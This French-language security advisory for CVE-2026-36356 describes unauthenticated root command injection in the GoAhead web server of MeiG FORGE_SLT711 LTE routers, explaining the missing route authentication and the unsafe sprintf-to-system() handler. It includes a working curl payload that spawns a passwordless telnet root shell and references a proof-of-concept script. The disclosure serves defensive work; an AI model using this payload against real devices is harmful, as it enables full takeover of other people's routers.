
CVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead - Injection de commandes OS non authentifiée (RCE en tant que root)
/action/SetRemoteAccessCfg)Le serveur web GoAhead fourni avec les appareils CPE 4G LTE MeiG Smart FORGE_SLT711 expose un point de terminaison HTTP non authentifié, /action/SetRemoteAccessCfg, qui interpole une entrée JSON contrôlée par l'utilisateur dans une commande shell sans assainissement. Une seule requête POST non authentifiée exécute des commandes arbitraires en tant que root.
Deux causes racines indépendantes : une entrée de route d'authentification manquante et une construction sprintf() → system() non sûre dans le gestionnaire.
MDM9607.LE.1.0-00110-STD.PROD-1 (micrologiciel du modem BC-MGST711H_1.1.1_EQ101)/usr/bin/goahead)Le code vulnérable se trouve dans le gestionnaire d'action personnalisé de MeiG, pas dans GoAhead en amont. D'autres versions du micrologiciel de cette gamme de produits sont probablement concernées ; non vérifié indépendamment.
| Appareil | Ortel 4G LTE CPE (OEM : MeiG FORGE_SLT711) |
| SoC | Qualcomm MDM9607, ARMv7 Cortex-A7 |
| Noyau | Linux 3.18.48 |
| Micrologiciel | MDM9607.LE.1.0-00110-STD.PROD-1 |
| Date |
La configuration des routes GoAhead /var/www/route.txt répertorie les routes authentifiées (lignes 64–150) à l'aide de auth=basic. /action/SetRemoteAccessCfg n'est pas dans cette liste. Le routage retombe sur la règle fourre-tout à la ligne 156 :
route uri=/action handler=action
La règle fourre-tout n'a pas de auth=basic, donc tout client HTTP peut invoquer /action/SetRemoteAccessCfg sans identifiants.
Le gestionnaire à l'offset 0x0003c6d8 dans /usr/bin/goahead se décompile en :
char password_buf[64]; // 0x40 bytes on stack
char command_buf[256]; // 0x100 bytes on stack
websGetJsonItemValue(json, "password", STRING, password_buf, 0x40);
sprintf(command_buf, "echo root:\"%s\"|chpasswd", password_buf);
system(command_buf);
Le champ password est interpolé entre guillemets doubles. La substitution $(...) et les backticks `...` sont interprétées entre guillemets doubles, de sorte qu'un attaquant contrôle la commande shell. system() s'exécute avec uid=0 car le processus GoAhead s'exécute en tant que root. Aucune validation d'entrée, aucun échappement, aucune liste blanche de caractères.
curl -s -X POST http://192.168.1.1/action/SetRemoteAccessCfg \
-H "Content-Type: application/json" \
-d '{"password":"$(telnetd -l /bin/sh -p 2323 &)"}'
# Reachable via: telnet 192.168.1.1 2323 (root shell, no password)

poc_rce.py (publié en même temps que cet avis) :
python3 poc_rce.py --ip 192.168.1.1 --cmd 'id > /tmp/out'
L'exploitation est aveugle — la sortie de la commande n'est pas dans la réponse HTTP.
password : 64 octets| 2026-02-21 |